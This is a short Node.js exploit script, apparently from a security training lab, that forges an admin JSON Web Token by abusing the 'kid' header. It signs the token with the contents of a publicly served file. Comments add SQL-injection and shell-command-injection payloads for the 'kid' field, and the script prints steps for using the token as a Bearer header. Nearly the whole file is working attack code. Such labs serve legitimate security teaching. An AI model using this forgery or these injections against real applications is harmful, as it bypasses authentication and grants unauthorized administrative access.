exploit-lab3.js

const jwt = require('jsonwebtoken');
const fs = require('fs');

// Read our dummy.js file content - this will be our key
const keyContent = fs.readFileSync('./public/dummy.js', 'utf8');

// Create malicious token
const createMaliciousToken = () => {
    const payload = {
        username: "admin",
        role: "admin",
        lab: "lab3"
    };

    const token = jwt.sign(payload, keyContent, {
        header: {
            alg: 'HS256',
            typ: 'JWT',
            kid: 'public/dummy.js'  // Point to our dummy.js file
            // “kid”: "aaaaaaa' UNION SELECT 'key';--" 
            // use the string "key" to verify the token
            // i ruby -> “key_file” | whoami;
        }
    });

    console.log('\n=== Malicious Token ===');
    console.log(token);
    console.log('\n=== How to Use ===');
    console.log('1. Copy this token');
    console.log('2. Use it in the Authorization header: Bearer <token>');
}

createMaliciousToken();